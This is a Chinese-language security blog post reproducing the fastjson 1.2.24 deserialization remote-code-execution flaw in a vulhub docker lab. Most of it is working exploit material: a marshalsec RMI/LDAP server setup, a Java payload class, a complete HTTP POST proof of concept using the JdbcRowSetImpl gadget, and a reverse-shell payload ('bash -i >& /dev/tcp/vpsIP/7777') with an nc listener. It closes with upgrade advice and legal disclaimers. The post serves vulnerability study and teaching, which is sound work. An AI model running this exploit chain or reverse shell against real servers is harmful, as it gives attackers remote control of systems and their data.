fastjson1.2.24版本反序列化导致RCE

admin 2024年11月14日23:33:08评论9 views字数 2503阅读8分20秒阅读模式

一. 漏洞介绍

            fastjson是一个java编写的高性能功能非常完善的JSON库,应用范围非常广,在github上star数都超过8k,在2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。关于漏洞的具体详情可参考 https://github.com/alibaba/fastjson/wiki/security_update_20170315

二. 影响范围

    fastjson <= 1.2.24

三. 漏洞环境搭建

https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce进入对应文件夹docker-compose up -d

fastjson1.2.24版本反序列化导致RCE

四. 漏洞复现

在vps里开启rmi或者ldap服务,推荐使用marshalsec快速开启rmi或ldap服务

git clone https://github.com/mbechler/marshalsec

下载marshalsec,使用maven编译jar包

mvn clean package -DskipTests

安装完成好后,新建文件,复制代码,命名为TouchFile.java   (注:红体就是要执行的命令,每次换命令,都要重新编译文件)

// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/success"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}

进行编译成class文件,会生成TouchFile.class文件

javac TouchFile.java

fastjson1.2.24版本反序列化导致RCE

然后搭起服务,要测试能直连 TouchFile.class   ,才会执行文件里的命令

python -m SimpleHTTPServer 4444

fastjson1.2.24版本反序列化导致RCE

开启rmi或ldap服务      4444是上方服务的端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:4444/#TouchFile" 9999

fastjson1.2.24版本反序列化导致RCE

五. 漏洞检测POC

POST / HTTP/1.1Host: your-ip:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 160{    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://vpsIP:9999/TouchFile",        "autoCommit":true    }}

fastjson1.2.24版本反序列化导致RCE

 这边监听的就返回连接了

fastjson1.2.24版本反序列化导致RCE

由于是docker搭建的环境,所以要docker里的/tmp 查看 ,而不是当前的/tmp

比如 "touch", "/tmp/success

fastjson1.2.24版本反序列化导致RCE

反弹shell    

替换代码,修改,然后编译,步骤和上面一样。

// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vpsIP/7777 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}

 监听端口

  nc -lvnp 7777

fastjson1.2.24版本反序列化导致RCE

六. 漏洞修复

            建议更新到fastjson1.2.83以上版本,或者直接更新到fastjson2

七.参考链接

https://www.cnblogs.com/hack404/p/11980791.htmlhttps://www.cnblogs.com/tr1ple/p/11431543.htmlhttps://www.cnblogs.com/escape-w/p/11322845.html

fastjson1.2.24版本反序列化导致RCE

本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。文库内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!

敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。

原文始发于微信公众号(无问之路):fastjson1.2.24版本反序列化导致RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月14日23:33:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   fastjson1.2.24版本反序列化导致RCEhttps://cn-sec.com/archives/1639795.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息